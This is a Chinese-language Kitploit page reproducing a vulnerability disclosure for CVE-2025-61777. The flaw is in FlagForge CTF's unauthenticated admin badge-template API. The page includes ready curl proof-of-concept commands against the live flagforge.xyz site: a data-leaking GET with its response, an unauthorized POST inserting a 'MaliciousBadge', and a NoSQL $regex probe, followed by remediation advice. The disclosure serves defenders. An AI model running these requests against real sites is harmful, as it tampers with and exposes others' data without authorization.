Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-61777 — CVE 影响 FlagForgeCTF v2.0.0 至 v2.3.1 版本。已升级至 2.3.2 版本以修复该问题。 | Kitploit
工具/GitHubGitHub/0x0w1z/cve-2025-61777
漏洞分析漏洞利用Web安全渗透测试API 安全
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE 影响 FlagForgeCTF v2.0.0 至 v2.3.1 版本。已升级至 2.3.2 版本以修复该问题。

查看仓库
210个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-61777

1. 在 FlagforgeCTF 上未经授权修改徽章模板 CVE-2025-61777

摘要

Flagforge 应用程序(https://flagforge.xyz)在其管理 API 端点中暴露了严重漏洞,具体为 /api/admin/badge-templates(GET)和 /api/admin/badge-templates/create(POST)。这两个端点均缺少身份验证和授权控制,允许未经身份验证的用户检索敏感的徽章模板数据,并在 MongoDB 数据库中创建任意模板。这可能导致未经授权的数据泄露、数据库污染或徽章系统被滥用(例如,创建恶意或垃圾模板)。

描述

受影响的端点

  1. GET /api/admin/badge-templates:
    • 返回存储在 MongoDB badgeTemplates 集合中的所有徽章模板的 JSON 数组。
    • 暴露的字段包括 _id、name、description、icon、color、isActive、createdBy、createdAt、updatedAt 和 __v。
    • 无需身份验证标头、API 密钥或会话检查,使该端点可公开访问。
    • 示例响应(来自 cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • 允许使用用户可控字段创建新的徽章模板:name、description、icon、color、isActive 和 createdBy。
    • 仅对 name、description 和 icon 的存在性进行最小化验证检查,并确保不存在重复的 name。
    • 无身份验证或授权检查,使任何人都可以向数据库插入数据。
    • 示例代码(来自提供的源代码):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

弱点

  • CWE-200:向未经授权的行为者暴露敏感信息(GET 端点):暴露用户标识符(例如,Lagzen Thakuri、[email protected])和元数据,从而可能被用于侦察或网络钓鱼。
  • CWE-306:关键功能缺少身份验证(两个端点):管理路由上没有访问控制。
  • CWE-284:访问控制不当(两个端点):允许未经授权的数据检索和修改。
  • 潜在的 NoSQL 注入:虽然 POST 端点显式解构了字段,但如果 GET 端点支持查询参数(例如,?name[$ne]=test),则可能存在漏洞。
  • 日志污染风险:POST 端点记录用户可控的 name 和 createdBy,可能被滥用于日志垃圾信息或注入。

CVSS v3.1 评分

  • 基础评分:9.1(严重)
  • 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • 攻击向量(AV):网络(可公开访问的端点)。
    • 攻击复杂度(AC):低(无需特殊条件)。
    • 所需权限(PR):无(无需身份验证)。
    • 用户交互(UI):无(直接 HTTP 请求)。
    • 影响范围(S):不变(影响应用程序本身)。
    • 机密性(C):高(暴露用户数据)。
    • 完整性(I):高(允许任意数据创建)。
    • 可用性(A):低(通过大量模板创建可能导致拒绝服务)。

受影响的系统

  • 应用程序:Flagforge(https://flagforge.xyz)
  • 组件:
    • Next.js API 路由:/api/admin/badge-templates(GET)和 /api/admin/badge-templates/create(POST)。
    • MongoDB 数据库:badgeTemplates 集合。
  • 托管:Vercel(无服务器,根据 server: Vercel 标头推断)。
  • 版本:未知(根据 NextRequest/NextResponse 语法推断为 Next.js 13+)。
  • 依赖项:MongoDB 驱动程序(通过自定义 @/utlis/db 连接工具)、Next.js。

影响

  • 机密性:暴露用户标识符(createdBy)和元数据(createdAt、updatedAt),可能被用于社会工程或定向攻击。
  • 完整性:未经授权创建徽章模板,可能导致应用程序中出现垃圾信息、网络钓鱼或恶意内容展示。
  • 可用性:通过向 POST 端点发送大量模板创建请求来淹没数据库资源,可能导致拒绝服务(DoS)。
  • 可利用性:高,因为端点可通过简单的 HTTP 请求(例如,cURL、Postman)公开访问,且无身份验证屏障。

概念验证

  1. 检索敏感数据(GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • 返回所有徽章模板的 JSON 列表,包括 createdBy(例如,[email protected])等敏感字段。
  2. 创建未经授权的模板(POST)并删除模板(DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • 在 badgeTemplates 集合中创建一个新模板。
    • 删除徽章模板。
    • 通过重新运行 GET 请求验证新模板是否出现。
  3. 潜在的 NoSQL 注入(GET,如果支持查询参数):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • 测试端点是否处理 MongoDB 运算符,这可能绕过过滤器或暴露额外数据。

建议

立即修复

  1. 实施身份验证:
    • 添加中间件以验证两个端点的用户身份(例如,JWT、NextAuth.js 或 API 密钥)。
      root@kitploit:~
      // POST 端点示例中间件
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // 实现 verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... 现有代码 ...
      }
      
  2. 限制 GET 端点:
    • 将 GET 端点限制为经过身份验证的管理员,或返回最少数据(例如,排除 createdBy)。
    • 如果支持查询参数,请对输入进行清理以防止 NoSQL 注入。

参考

  • CWE-200:https://cwe.mitre.org/data/definitions/200.html
  • CWE-306:https://cwe.mitre.org/data/definitions/306.html
  • CWE-284:https://cwe.mitre.org/data/definitions/284.html
  • OWASP API 安全 Top 10:https://owasp.org/www-project-api-security/
  • CVSS v3.1 计算器:https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
下载工具